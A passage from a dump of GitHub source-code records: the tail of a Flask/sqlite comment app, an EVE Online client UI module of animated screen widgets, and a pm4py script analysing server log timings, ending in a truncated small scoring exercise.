initialize the database\n\"\"\"\ndef init_db():\n with closing(connect_db()) as db:\n with app.open_resource('Data/schema.sql', mode='r') as f:\n db.cursor().executescript(f.read())\n db.commit()\n\n\n\"\"\"\nCode to connect to our database\n\"\"\"\ndef connect_db():\n rv = sqlite3.connect('DATABASE')\n rv.row_factory = sqlite3.Row\n return rv\n # return sqlite3.connect('DATABASE')\n\n\"\"\"\nCode to get our db so we can get entries\n\"\"\"\ndef get_db():\n if not hasattr(g, 'sqlite_db'):\n g.sqlite_db = connect_db()\n return g.sqlite_db\n\n\"\"\"\nCode to close your databse\n\"\"\"\n@app.teardown_appcontext\ndef close_connection(exception):\n if hasattr(g, 'sqlite_db'):\n g.sqlite_db.close()\n\n\n\"\"\"\nLanding page will just have assignments and will render index.html\n\"\"\"\n@app.route('/')\ndef landing():\n svn_list = parser.parse_svn()\n db = get_db()\n cur = db.execute('select title, text from entries order by id desc')\n entries = cur.fetchall()\n return render_template('index.html',svn_list=svn_list[0],svn_log=svn_list[1],entries=entries)\n\n\n\n\"\"\"\niframe redirect page will add comments we will check if the comment\nis a original comment or reply and add to corresponding data base\nwe will also filter and check that naughty words are not being used\n\"\"\"\n@app.route('/add//', methods=['POST'])\ndef add_entry(directory,path):\n db = get_db()\n unique_file = directory + \"-\" + path\n if request.form['text'] == \"\":\n return redirect(url_for('iframe',path=path,directory=directory))\n if request.form['title'] == \"\":\n return redirect(url_for('iframe',path=path,directory=directory))\n\n if request.form['reply'] == \"\":\n title = request.form['title']\n text = request.form['text']\n title,text = filter(request.form['title'],request.form['text'])\n db.execute('insert into entries (title, text,file) values (?, ?, ?)',\n [title, text,unique_file])\n db.commit()\n else:\n title = request.form['title']\n text = request.form['text']\n reply = request.form['reply']\n title,text = filter(request.form['title'],request.form['text'])\n print('This is STUPID')\n db.execute('insert into reply_entries (parent_id,title, text,file) values (?, ?, ?,?)',\n [str(reply),title, text,unique_file])\n db.commit()\n return redirect(url_for('iframe',path=path,directory=directory))\n\n\"\"\"\nFor when you click on a specific assignment\ngives you details about all files in assignment\n\"\"\"\n@app.route('/')\ndef files(files):\n svn_list = parser.parse_svn()\n return render_template('details.html',svn_list=svn_list[0],\n svn_log=svn_list[1],assignment=files)\n\n\n\"\"\"\niframe page will display comments so we will get tables from etnries and reply_entries table\n\"\"\"\n@app.route('//')\ndef iframe(directory,path):\n svn_list = parser.parse_svn()\n db = get_db()\n # filter(request.form['title'],request.form['text'])\n\n db.commit()\n comment = db.execute('select title, text, file,id from entries order by id desc')\n replies = db.execute('select title,text,parent_id from reply_entries order by child_id desc')\n\n entries = comment.fetchall()\n replies = replies.fetchall()\n return render_template('show_entries.html',svn_list=svn_list[0],svn_log=svn_list[1],\n path=path,directory=directory,entries=entries,replies=replies)\n\n\"\"\"\nFilter function will check naught words table and check text and title\nand will replace any naught words\n\"\"\"\ndef filter(title,text):\n db = get_db()\n cur = db.execute('select * from naughty_words')\n replace = cur.fetchall()\n for word in replace:\n if word[0] in title:\n title = title.replace(word[0],word[1])\n if word[0] in text:\n text = text.replace(word[0],word[1])\n return title,text\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"alekfestekjian/WebPortfolio","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33638891933","text":"#Embedded file name: c:/depot/games/branches/release/EVE-TRANQUILITY/eve/client/script/ui/station/captainsquarters/screenControls.py\nimport blue\nimport trinity\nimport uicls\nimport uiconst\nimport uthread\nimport uiutil\nimport util\nimport math\nimport random\nTIME_BASE = 0.3\n\nclass ScreenWedgeBracketTop(uicls.Transform):\n __guid__ = 'uicls.ScreenWedgeBracketTop'\n default_name = 'ScreenWedgeBracketTop'\n default_hasCorners = True\n default_wedgeWidth = 100\n default_wedgeTopStart = -10\n default_wedgePosRatio = 0.5\n default_align = uiconst.TOTOP\n default_height = 25\n default_rotation = 0.0\n\n def ApplyAttributes(self, attributes):\n global TIME_BASE\n uicls.Transform.ApplyAttributes(self, attributes)\n TIME_BASE = 0.3\n self.hasCorners = attributes.get('hasCorners', self.default_hasCorners)\n wedgeWidth = attributes.get('wedgeWidth', self.default_wedgeWidth)\n wedgeTopStart = attributes.get('wedgeTopStart', self.default_wedgeTopStart)\n self.wedgePosRatio = attributes.get('wedgePosRatio', self.default_wedgePosRatio)\n self.borderLeft = uicls.Frame(parent=self, name='borderLeft', texturePath='res:/UI/Texture/classes/CQMainScreen/borderLeft.png', cornerSize=16, align=uiconst.TOPLEFT, pos=(0, 1, 200, 48), padLeft=2, color=util.Color.WHITE)\n self.wedge = uicls.Frame(parent=self, name='wedge', texturePath='res:/UI/Texture/classes/CQMainScreen/wedge.png', cornerSize=13, align=uiconst.TOPLEFT, pos=(300,\n wedgeTopStart,\n wedgeWidth,\n 27), padding=(-5, 0, -5, 0), color=util.Color.WHITE)\n self.borderRight = uicls.Frame(parent=self, name='borderLeft', texturePath='res:/UI/Texture/classes/CQMainScreen/borderRight.png', cornerSize=16, align=uiconst.TOPRIGHT, pos=(0, 1, 200, 48), padRight=2, color=util.Color.WHITE)\n if self.hasCorners:\n self.cornerLeft = uicls.Sprite(parent=self, name='cornerLeft', texturePath='res:/UI/Texture/classes/CQMainScreen/cornerLeft.png', pos=(0, 0, 22, 22))\n self.cornerRight = uicls.Sprite(parent=self, name='cornerRight', texturePath='res:/UI/Texture/classes/CQMainScreen/cornerRight.png', pos=(0, 0, 22, 22), align=uiconst.TOPRIGHT)\n\n def _OnResize(self):\n if not hasattr(self, 'wedge'):\n return\n self.UpdatePosition()\n\n def UpdatePosition(self):\n w, h = self.GetAbsoluteSize()\n self.wedge.left = (w - self.wedge.width) * self.wedgePosRatio\n self.borderLeft.width = self.wedge.left\n self.borderRight.width = w - self.wedge.left - self.wedge.width\n\n def AnimAppear(self):\n if self.hasCorners:\n uicore.animations.FadeIn(self.cornerLeft, duration=TIME_BASE / 3, loops=3)\n uicore.animations.FadeIn(self.cornerRight, duration=TIME_BASE / 3, loops=3, sleep=True)\n uicore.animations.FadeIn(self.borderLeft, duration=TIME_BASE)\n uicore.animations.FadeIn(self.borderRight, duration=TIME_BASE)\n uicore.animations.FadeIn(self.wedge, duration=TIME_BASE / 3, loops=3, sleep=True)\n uicore.animations.MorphScalar(self.wedge, 'top', self.wedge.top, 0, duration=TIME_BASE, curveType=uiconst.ANIM_LINEAR, sleep=True)\n\n def AnimDisappear(self):\n uicore.animations.FadeOut(self)\n\n\nclass ScreenWedgeBracketBottom(ScreenWedgeBracketTop):\n __guid__ = 'uicls.ScreenWedgeBracketBottom'\n default_name = 'ScreenWedgeBracketBottom'\n default_align = uiconst.TOBOTTOM\n default_rotation = math.pi\n\n\nclass ScreenSimpleBracketTop(uicls.Frame):\n __guid__ = 'uicls.ScreenSimpleBracketTop'\n default_name = 'ScreenSimpleBracketTop'\n default_texturePath = 'res:/UI/Texture/classes/CQMainScreen/simpleBracketTop.png'\n default_cornerSize = 21\n default_align = uiconst.TOTOP\n default_height = 21\n default_color = util.Color.WHITE\n\n def AnimAppear(self):\n uicore.animations.FadeIn(self, duration=TIME_BASE)\n\n def AnimDisappear(self):\n uicore.animations.FadeOut(self, duration=TIME_BASE)\n\n\nclass ScreenSimpleBracketBottom(ScreenSimpleBracketTop):\n __guid__ = 'uicls.ScreenSimpleBracketBottom'\n default_name = 'ScreenSimpleBracketTop'\n default_texturePath = 'res:/UI/Texture/classes/CQMainScreen/simpleBracketBottom.png'\n default_align = uiconst.TOBOTTOM\n\n\nclass ScreenFrameBase(uicls.Container):\n __guid__ = 'uicls._ScreenFrameBase'\n\n def ApplyAttributes(self, attributes):\n uicls.Container.ApplyAttributes(self, attributes)\n self.bracketLayer = uicls.Container(name='bracketCont', parent=self)\n self.mainCont = uicls.Container(name='mainCont', parent=self)\n self.topBracket = None\n self.bottomBracket = None\n uthread.new(self.AnimAppear)\n\n def AnimAppear(self):\n w, h = self.GetAbsoluteSize()\n uicore.animations.MorphScalar(self.topBracket, 'padTop', h / 2, 0, duration=TIME_BASE)\n uicore.animations.MorphScalar(self.bottomBracket, 'padBottom', h / 2, 0, duration=TIME_BASE, sleep=True)\n for obj in self.bracketLayer.children:\n uthread.new(obj.AnimAppear)\n blue.pyos.synchro.SleepWallclock(200)\n\n blue.pyos.synchro.SleepWallclock(2000)\n for c in self.mainCont.children:\n if hasattr(c, 'AnimAppear'):\n uthread.new(c.AnimAppear)\n\n\nclass ScreenFrame1(ScreenFrameBase):\n __guid__ = 'uicls.ScreenFrame1'\n default_name = 'ScreenFrame1'\n\n def ApplyAttributes(self, attributes):\n uicls._ScreenFrameBase.ApplyAttributes(self, attributes)\n self.bottomBracket = uicls.ScreenWedgeBracketBottom(parent=self.bracketLayer, wedgePosRatio=0.3, rotation=math.pi, align=uiconst.TOBOTTOM)\n self.topBracket = uicls.ScreenWedgeBracketTop(parent=self.bracketLayer, wedgePosRatio=0.3, rotation=0)\n\n\nclass ScreenFrame2(ScreenFrameBase):\n __guid__ = 'uicls.ScreenFrame2'\n default_name = 'ScreenFrame2'\n\n def ApplyAttributes(self, attributes):\n ScreenFrameBase.ApplyAttributes(self, attributes)\n self.topBracket = uicls.ScreenWedgeBracketTop(parent=self.bracketLayer, wedgePosRatio=0.3, wedgeWidth=200, hasCorners=False)\n self.bottomBracket = uicls.ScreenSimpleBracketBottom(parent=self.bracketLayer)\n\n\nclass ScreenFrame3(ScreenFrameBase):\n __guid__ = 'uicls.ScreenFrame3'\n default_name = 'ScreenFrame3'\n\n def ApplyAttributes(self, attributes):\n ScreenFrameBase.ApplyAttributes(self, attributes)\n self.topBracket = uicls.ScreenSimpleBracketTop(parent=self.bracketLayer)\n self.bottomBracket = uicls.ScreenWedgeBracketBottom(parent=self.bracketLayer, wedgePosRatio=0.3, wedgeWidth=200, hasCorners=False)\n\n\nclass ScreenFrame4(ScreenFrameBase):\n __guid__ = 'uicls.ScreenFrame4'\n default_name = 'ScreenFrame4'\n\n def ApplyAttributes(self, attributes):\n ScreenFrameBase.ApplyAttributes(self, attributes)\n self.topBracket = uicls.ScreenSimpleBracketTop(parent=self.bracketLayer)\n self.bottomBracket = uicls.ScreenSimpleBracketBottom(parent=self.bracketLayer)\n\n\nclass ScreenFrame5(ScreenFrame1):\n __guid__ = 'uicls.ScreenFrame5'\n default_name = 'ScreenFrame5'\n\n def ApplyAttributes(self, attributes):\n ScreenFrame1.ApplyAttributes(self, attributes)\n ScreenBlinkingSquares(parent=self.bracketLayer, padLeft=50, padBottom=-5, padRight=15)\n\n\nclass ScreenHeading1(uicls.Container):\n __guid__ = 'uicls.ScreenHeading1'\n default_name = 'ScreenHeading1'\n default_align = uiconst.TOTOP\n default_fillColor = (0.180392157, 0.219607843, 0.239215686, 1.0)\n default_gradientColor = (0.152941176, 0.168627451, 0.17254902, 1.0)\n default_leftContWidth = 60\n default_height = 60\n\n def ApplyAttributes(self, attributes):\n uicls.Container.ApplyAttributes(self, attributes)\n fillColor = attributes.get('fillColor', self.default_fillColor)\n gradientColor = attributes.get('gradientColor', self.default_gradientColor)\n leftContWidth = attributes.get('leftContWidth', self.default_leftContWidth)\n appear = attributes.get('appear', False)\n self.leftCont = uicls.Container(name='leftCont', parent=self, align=uiconst.TOLEFT, width=leftContWidth)\n uicls.Fill(name='leftBg', bgParent=self.leftCont, color=fillColor)\n self.mainCont = uicls.Container(name='mainCont', parent=self, padLeft=0, padRight=0)\n gradient = uicls.Sprite(name='rightGradient', bgParent=self.mainCont, color=gradientColor, texturePath='res:/UI/Texture/classes/CQMainScreen/gradientHoriz.png')\n if appear:\n uthread.new(self.AnimAppear)\n else:\n self.opacity = 0.0\n\n def AnimAppear(self):\n TIME_BASE = 0.2\n w, h = self.GetAbsoluteSize()\n self.opacity = 1.0\n uicore.animations.MorphScalar(self.leftCont, 'displayWidth', 0, self.leftCont.width, duration=TIME_BASE)\n uicore.animations.FadeIn(self.leftCont, duration=TIME_BASE / 3, loops=3, sleep=True)\n uicore.animations.MorphScalar(self.mainCont, 'displayWidth', 0, w - self.leftCont.width, duration=TIME_BASE)\n uicore.animations.FadeIn(self.mainCont, duration=TIME_BASE / 3, loops=3, sleep=True)\n\n\nclass ScreenHeading2(uicls.Container):\n __guid__ = 'uicls.ScreenHeading2'\n default_name = 'ScreenHeading2'\n default_height = 60\n default_width = 600\n default_align = uiconst.TOPLEFT\n default_text = ''\n default_opacity = 0.0\n default_hasBargraph = True\n\n def ApplyAttributes(self, attributes):\n uicls.Container.ApplyAttributes(self, attributes)\n text = attributes.get('text', self.default_text)\n appear = attributes.get('appear', False)\n self.hasBargraph = attributes.get('hasBargraph', self.default_hasBargraph)\n rightCont = uicls.Container(name='rightCont', parent=self, align=uiconst.TORIGHT, width=446, padBottom=5)\n uicls.Sprite(name='rightGraphics', parent=rightCont, align=uiconst.TOBOTTOM, texturePath='res:/UI/Texture/classes/CQMainScreen/heading2.png', height=14)\n uicls.Fill(name='thickLine', parent=self, align=uiconst.TOBOTTOM, height=6, padBottom=9, color=util.Color.WHITE)\n self.label = uicls.Label(parent=self, text=text, top=10, fontsize=30, color=util.Color.WHITE)\n self.movingFill = uicls.Fill(name='movingFill', parent=self, align=uiconst.BOTTOMRIGHT, pos=(0, 0, 100, 3), color=util.Color.WHITE)\n if self.hasBargraph:\n barGraphCont = uicls.Container(name='bargraphCont', parent=self, align=uiconst.TOPRIGHT, pos=(10, 8, 332, 31))\n self.barGraph = uicls.Sprite(name='barGraph', parent=barGraphCont, texturePath='res:/UI/Texture/classes/CQMainScreen/barGraph.png', align=uiconst.CENTER, width=barGraphCont.width, height=31)\n self.barGraph.color.a = 0.6\n if appear:\n uthread.new(self.AnimAppear)\n\n def AnimAppear(self):\n TIME_BASE = 0.2\n uicore.animations.FadeIn(self, duration=TIME_BASE / 3, loops=3)\n uicore.animations.MorphScalar(self.movingFill, 'left', 0, 244, loops=uiconst.ANIM_REPEAT, curveType=uiconst.ANIM_WAVE, duration=2.0)\n if self.hasBargraph:\n uicore.animations.MorphScalar(self.barGraph, 'height', 0, 45, curveType=uiconst.ANIM_RANDOM, duration=1.0)\n\n\nclass ScreenHeading3(uicls.Container):\n __guid__ = 'uicls.ScreenHeading3'\n default_name = 'ScreenHeading3'\n default_height = 60\n default_width = 600\n default_align = uiconst.TOPLEFT\n default_text = ''\n default_opacity = 0.0\n\n def ApplyAttributes(self, attributes):\n uicls.Container.ApplyAttributes(self, attributes)\n text = attributes.get('text', self.default_text)\n appear = attributes.get('appear', False)\n self.label = uicls.EveLabelMedium(parent=self, align=uiconst.CENTER, fontsize=self.height - 25, text=text)\n uicls.Fill(bgParent=self, color=(0.5, 0.5, 0.5, 1.0))\n if appear:\n uthread.new(self.AnimAppear)\n\n def AnimAppear(self):\n uicore.animations.BlinkIn(self, sleep=True)\n uicore.animations.BlinkIn(self.label, sleep=True)\n uicore.animations.MorphScalar(self.label, 'opacity', startVal=1.0, endVal=0.5, curveType=uiconst.ANIM_WAVE, loops=uiconst.ANIM_REPEAT)\n\n\nclass ScreenBlinkingSquares(uicls.Container):\n __guid__ = 'uicls.ScreenBlinkingSquares'\n default_name = 'ScreenBlinkingSquares'\n default_height = 10\n default_align = uiconst.TOBOTTOM\n default_opacity = 0.0\n default_padBottom = 10\n default_padLeft = 10\n default_padRight = 10\n\n def ApplyAttributes(self, attributes):\n uicls.Container.ApplyAttributes(self, attributes)\n left1 = uicls.Fill(name='left1', parent=self, align=uiconst.TOLEFT, width=8, padBottom=5, color=util.Color.WHITE)\n left2 = uicls.Fill(name='left2', parent=self, align=uiconst.TOLEFT, width=30, padLeft=3, color=util.Color.WHITE)\n left3 = uicls.Fill(name='left3', parent=self, align=uiconst.TOLEFT, width=8, padLeft=3, color=util.Color.WHITE)\n self.label = uicls.EveLabelSmall(parent=self, align=uiconst.TOLEFT, width=100, padLeft=5)\n self.right1 = uicls.Fill(name='right1', parent=self, align=uiconst.TORIGHT, width=50, color=util.Color.WHITE)\n self.right2 = uicls.Fill(name='right2', parent=self, align=uiconst.TORIGHT, width=50, color=util.Color.WHITE, padRight=3)\n self.right3 = uicls.Fill(name='right3', parent=self, align=uiconst.TORIGHT, width=50, color=util.Color.WHITE, padRight=3)\n\n def AnimAppear(self):\n TIME_BASE = 0.2\n uicore.animations.FadeIn(self, duration=TIME_BASE / 3, loops=3)\n uthread.new(self.UpdateBitCounter)\n uthread.new(self.UpdateText)\n\n def UpdateText(self):\n x1 = 10000\n x2 = 30000\n msgList = ['59 4F 55 20',\n '48 41 56 45',\n '20 57 41 59',\n '20 54 4F 4F',\n '20 4D 55 43',\n '48 20 54 49',\n '4D 45 20 4F',\n '4E 20 59 4F',\n '55 52 20 48',\n '41 4E 44 53']\n while not self.destroyed:\n for msg in msgList:\n self.label.text = '%s' % msg\n uicore.animations.FadeIn(self.label, duration=TIME_BASE / 3, loops=3)\n blue.pyos.synchro.SleepWallclock(random.randint(1000, 2000))\n if self.label.destroyed:\n return\n\n def UpdateBitCounter(self):\n count = 0\n while not self.destroyed:\n val = max(0.2, count & 1)\n uicore.animations.FadeTo(self.right1, self.right1.opacity, val)\n val = max(0.2, count >> 1 & 1)\n uicore.animations.FadeTo(self.right2, self.right2.opacity, val)\n val = max(0.2, count >> 2 & 1)\n uicore.animations.FadeTo(self.right3, self.right3.opacity, val)\n count += 1\n if count == 8:\n count = 0\n blue.pyos.synchro.SleepWallclock(1000)\n\n\nclass AutoTextScroll(uicls.Container):\n __guid__ = 'uicls.AutoTextScroll'\n default_name = 'AutoScrollHorizontal'\n default_scrollSpeed = 10\n default_clipChildren = True\n default_textList = None\n default_fontSize = 30\n default_fadeColor = util.Color.BLACK\n default_fadeWidth = 100\n default_color = util.Color.WHITE\n\n def ApplyAttributes(self, attributes):\n uicls.Container.ApplyAttributes(self, attributes)\n textList = attributes.get('textList', self.default_textList)\n self.scrollSpeed = attributes.get('scrollSpeed', self.default_scrollSpeed)\n self.fontSize = attributes.get('fontSize', self.default_fontSize)\n fadeColor = attributes.get('fadeColor', self.default_fadeColor)\n fadeWidth = attributes.get('fadeWidth', self.default_fadeWidth)\n self.color = attributes.get('color', self.default_color)\n self.scrollThread = None\n if fadeColor:\n uicls.Sprite(name='leftFade', parent=self, texturePath='res:/UI/Texture/classes/CQMainScreen/autoTextGradientLeft.png', color=fadeColor, align=uiconst.TOLEFT, width=fadeWidth, state=uiconst.UI_DISABLED)\n uicls.Sprite(name='leftFade', parent=self, texturePath='res:/UI/Texture/classes/CQMainScreen/autoTextGradientRight.png', color=fadeColor, align=uiconst.TORIGHT, width=fadeWidth, state=uiconst.UI_DISABLED)\n self.textCont = uicls.Container(name='textCont', parent=self, align=uiconst.CENTERLEFT, height=self.fontSize)\n if textList:\n self.SetTextList(textList)\n\n def SetTextList(self, textList, funcList = None, funcKeywordsList = None):\n self.textCont.Flush()\n if self.scrollThread:\n self.scrollThread.kill()\n if not textList:\n return\n x = 0\n for i, text in enumerate(textList):\n if i != 0:\n bullet = uicls.Sprite(parent=self.textCont, align=uiconst.CENTERLEFT, texturePath='res:/UI/texture/classes/CQMainScreen/bullet.png', pos=(x,\n 0,\n 11,\n 11), color=self.color)\n bulletWidth = bullet.width + 10\n else:\n bulletWidth = 0\n if funcList:\n clickFunc = funcList[i]\n else:\n clickFunc = None\n if funcKeywordsList:\n funcKeywords = funcKeywordsList[i]\n else:\n funcKeywords = None\n labelCont = uicls._AutoTextLabelCont(parent=self.textCont, clickFunc=clickFunc, funcKeywords=funcKeywords, left=x + bulletWidth, align=uiconst.TOPLEFT)\n label = uicls.Label(parent=labelCont, text='%s' % text, fontsize=self.fontSize, color=self.color)\n labelCont.width = label.width\n labelCont.height = label.height\n x += label.width + 10 + bulletWidth\n\n self.textCont.width = x\n self.textCont.height = label.height\n self.scrollThread = uthread.new(self.ScrollThread)\n\n def ScrollThread(self):\n w, h = self.GetAbsoluteSize()\n self.textCont.left = w\n while not self.destroyed:\n duration = self.textCont.width / float(self.scrollSpeed)\n uicore.animations.MorphScalar(self.textCont, 'left', startVal=w, endVal=-self.textCont.width, duration=duration, curveType=uiconst.ANIM_LINEAR, sleep=True)\n\n\nclass LabelCont(uicls.Container):\n __guid__ = 'uicls._AutoTextLabelCont'\n default_state = uiconst.UI_NORMAL\n\n def ApplyAttributes(self, attributes):\n uicls.Container.ApplyAttributes(self, attributes)\n self.hoverFill = uicls.Fill(parent=self, color=(1.0, 1.0, 1.0, 0.0), padLeft=-5, padRight=-5)\n self.clickFunc = attributes.get('clickFunc', None)\n self.funcKeywords = attributes.get('funcKeywords', None)\n\n def OnMouseEnter(self, *args):\n if self.clickFunc:\n uicore.animations.FadeIn(self.hoverFill, endVal=0.5, duration=0.3)\n\n def OnMouseExit(self, *args):\n if self.clickFunc:\n uicore.animations.FadeOut(self.hoverFill)\n\n def OnClick(self, *args):\n if self.clickFunc:\n if self.funcKeywords:\n self.clickFunc(**self.funcKeywords)\n else:\n self.clickFunc()\n\n\nclass TextBanner(uicls.Container):\n __guid__ = 'uicls.TextBanner'\n default_height = 80\n default_align = uiconst.TOBOTTOM\n default_leftContWidth = 0\n default_scrollText = True\n default_fontSize = 30\n default_color = (0.15, 0.15, 0.15, 1.0)\n\n def ApplyAttributes(self, attributes):\n uicls.Container.ApplyAttributes(self, attributes)\n text = attributes.get('text', '')\n textList = attributes.get('textList', None)\n if textList is None:\n textList = [text]\n fontSize = attributes.get('fontSize', self.default_fontSize)\n leftContWidth = attributes.get('leftContWidth', self.default_leftContWidth)\n color = attributes.get('color', self.default_color)\n self.leftCont = uicls.Container(name='leftCont', parent=self, align=uiconst.TOLEFT, width=leftContWidth)\n autoText = uicls.AutoTextScroll(parent=self, align=uiconst.TOALL, scrollSpeed=70, fontSize=fontSize, textList=textList, fadeColor=color)\n uicls.Sprite(bgParent=self, texturePath='res:/UI/Texture/Classes/CQMainScreen/autoTextGradientLeft.png', color=color)","repo_name":"alexcmd/eve","sub_path":"eve-8.21.494548/eve/client/script/ui/station/captainsquarters/screenControls.py","file_name":"screenControls.py","file_ext":"py","file_size_in_byte":20219,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"70435899293","text":"from numpy.core.fromnumeric import var\nfrom pm4py.objects.conversion.log import converter as log_converter\nfrom pm4py.algo.filtering.log.variants import variants_filter\nfrom pm4py.objects.log.util import interval_lifecycle\nfrom pm4py.algo.filtering.log.variants import variants_filter\nfrom math import sqrt\nfrom random import randint\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n## Point 2\n# Since the log files are in a different format, it is necessary to make them compatible with PM4PY before processing them\ndf_web_server = pd.read_csv(\"WEB_SERVER.log\", sep=' ', header=None)\ndf_web_server[5] = (df_web_server[5] + df_web_server[6]).str.strip(\"[]\")\ndf_web_server[5] = pd.to_datetime(df_web_server[5], format='%d/%b/%Y:%H:%M:%S%z')\ndf_web_server = df_web_server.drop(labels=[0, 2, 3, 6, 9, 11, 12], axis=1)\ndf_web_server = df_web_server.rename(columns={1: \"IP\", 4: \"ID\", 5: \"TIMESTAMP\", 7: \"REQUEST\", 8: \"CODE\", 10: \"URL\"})\n\n# print(df_web_server)\n\ndf_application_server = pd.read_csv(\"APPLICATION_SERVER.log\", sep=' ', header=None)\ndf_application_server[3] = (df_application_server[3] + df_application_server[4]).str.strip(\"[]\")\ndf_application_server[3] = pd.to_datetime(df_application_server[3], format='%d/%b/%Y:%H:%M:%S%z')\ndf_application_server = df_application_server.drop(labels=[1, 2, 4, 7], axis=1)\ndf_application_server = df_application_server.rename(columns={0: \"IP\", 3: \"TIMESTAMP\", 5: \"REQUEST\", 6: \"CODE\"})\n\n# print(df_application_server)\n\ndf_joined = df_web_server.join(df_application_server[\"TIMESTAMP\"], lsuffix=\"_WS\", rsuffix=\"_AS\")\ndf_joined[\"TIME_DELTA\"] = (df_joined[\"TIMESTAMP_AS\"] - df_joined[\"TIMESTAMP_WS\"]) / pd.Timedelta(seconds=1)\n\n# print(df_joined)\n\nmy_col = [x for x in range(50)]\ndf_database_server = pd.read_csv(\"DATABASE_SERVER.log\", sep=' ', header=None, names=my_col)\ndf_database_server = df_database_server.fillna('')\ndf_database_server[0] = df_database_server[0] + ':' + df_database_server[1] + \"+0200\"\ndf_database_server[0] = pd.to_datetime(df_database_server[0], format='%Y-%m-%d:%H:%M:%S.%f%z')\n\nfor i in range(6, 17):\n df_database_server[5] = df_database_server[5] + ' ' + df_database_server[i]\n\ndel_col = [1, 2, 6]\ndel_col.extend([n for n in range(7, 50)])\ndf_database_server = df_database_server.drop(labels=del_col, axis=1)\ndf_database_server = df_database_server.rename(columns={0: \"TIMESTAMP\", 3: \"ID\", 4: \"DATABASE\", 5: \"OPERATION\"})\ndf_database_server = df_database_server[df_database_server.DATABASE == \"postgres@infinity41_sp27p\"].reset_index()\n\n# print(df_database_server)\n\n## Point 3\nsize = len(df_database_server[\"TIMESTAMP\"])\ndb_delta_times = []\ndb_timestamps = []\nfor n in range(0, size, 15):\n try:\n last_op = df_database_server.at[n+15, 'TIMESTAMP']\n except:\n last_op = df_database_server.at[size-1, \"TIMESTAMP\"]\n first_op = df_database_server.at[n, \"TIMESTAMP\"]\n time_delta = (last_op - first_op) / pd.Timedelta(seconds=1)\n db_delta_times.append(time_delta)\n db_timestamps.append(first_op)\n\n\ndf_joined[\"TIME_DELTA_DB\"] = db_delta_times[:len(df_joined)]\ndf_joined[\"TIMESTAMP_DB\"] = db_timestamps[:len(df_joined)]\n\n# print(df_joined)\n\n#Point 4\nprint(df_joined.describe())\n\nplt.subplot(2, 1, 1)\nplt.plot(df_joined.index, df_joined[\"TIME_DELTA_DB\"])\nplt.title(\"Db time delta linechart\")\n\nplt.subplot(2, 1, 2)\nplt.scatter(df_joined.index, df_joined[\"TIME_DELTA_DB\"])\nplt.xlabel(\"Request number\")\nplt.ylabel(\"Time delta\")\nplt.title(\"Db time delta scatter chart\")\n\n# plt.show()\n\n# Remove outliers\ndf_joined_size = len(df_joined)\ndf_joined = df_joined[df_joined.TIME_DELTA_DB < 5]\nprint(\"\\nPercentage of overdue cases {0:.2g}%\\n\".format((df_joined_size - len(df_joined)) / size * 100))\n\nprint(df_joined.describe())\n\n## Point 5\ndf_joined[\"ID\"] = df_joined[\"ID\"].astype(str)\ndf_joined = df_joined.rename(columns={\"ID\": \"case:concept:name\", \"REQUEST\": \"concept:name\", \"TIMESTAMP_DB\": \"time:timestamp\"})\nparameters = {log_converter.Variants.TO_EVENT_LOG.value.Parameters.CASE_ID_KEY: 'case:concept:name'}\nevent_log = log_converter.apply(df_joined, parameters=parameters, variant=log_converter.Variants.TO_EVENT_LOG)\n\n# print(event_log)\n\nevent_log = interval_lifecycle.assign_lead_cycle_time(event_log)\n\n# print(\"\\nPercentile below the safe performance score 3 sec {}%\".format(count / ))\n\nvariants = variants_filter.get_variants(event_log)\n\n# print(variants)\n\nprint('\\nEvents: {} - Cases: {} - Variants: {}'.format(df_joined_size, len(event_log), len(variants)))\n\ndef performance_analysis(variants):\n variants_scores = {}\n count = 0\n for key, value in variants.items():\n variants_scores[key] = 0\n for event in value[0]:\n variants_scores[key] += event[\"TIME_DELTA_DB\"]\n \n performance_drop_variant = max(variants_scores, key=variants_scores.get)\n\n performance_drop_value = variants_scores[performance_drop_variant]\n\n print(\"\\n{0:.2g} is the most variant performance drop\".format(performance_drop_value))\n\n plt2 = plt.figure()\n ax1 = plt2.add_subplot(111)\n ax1.plot([x for x in range(len(variants_scores))], variants_scores.values())\n # plt.show()\n\n count = 0\n for value in variants_scores.values():\n if value < 3:\n count += 1\n\n print(\"\\nPercentile under 3 sec time delta db {:.2f}%\".format(count / len(variants_scores) * 100))\n\n # Remove the variant from the dictionary for the later comparison\n for key, value in variants_scores.items():\n if value == performance_drop_value:\n del variants_scores[key]\n break\n\n return {0: performance_drop_value, \"values\": list(variants_scores.values())}\n\nperformance_drop = performance_analysis(variants)\n\n#Filter most common variants\nfiltered_log = variants_filter.filter_log_variants_percentage(event_log, percentage=0.5)\n# print(len(filtered_log))\n\nvariants_filtered = variants_filter.get_variants(filtered_log)\n# print(len(variants_filtered))\n\nperformance_analysis(variants_filtered)\nprint()\n\n## Point 6\nfor n in range(50):\n i = randint(0, len(performance_drop[\"values\"])-1)\n z = (performance_drop[0] - performance_drop[\"values\"][i])/sqrt(performance_drop[0] + performance_drop[\"values\"][i])\n if z > 1.96:\n print(\"Comparing most performance drop variant with variant number {} differences are significantly important\".format(i+1))\n\n## Point 7\n# from pm4py.algo.discovery.dfg import algorithm as dfg_discovery\n# dfg = dfg_discovery.apply(event_log)\n\n# from pm4py.visualization.dfg import visualizer as dfg_visualization\n# dfg = dfg_discovery.apply(event_log, variant=dfg_discovery.Variants.PERFORMANCE)\n# parameters = {dfg_visualization.Variants.PERFORMANCE.value.Parameters.FORMAT: \"png\"}\n# gviz = dfg_visualization.apply(dfg, log=event_log, variant=dfg_visualization.Variants.PERFORMANCE, parameters=parameters)\n# dfg_visualization.save(gviz, \"dfg.png\")","repo_name":"Davydhh/Zucchetti-Process-Mining","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":6826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3114482687","text":"n=int(input())\r\nscore_c = score_s = 100\r\n\r\nfor _ in range(n):\r\n c,s= map(int, input().split(' '))\r\n if cs:\r\n score_s-=c\r\n else: continue\r\n 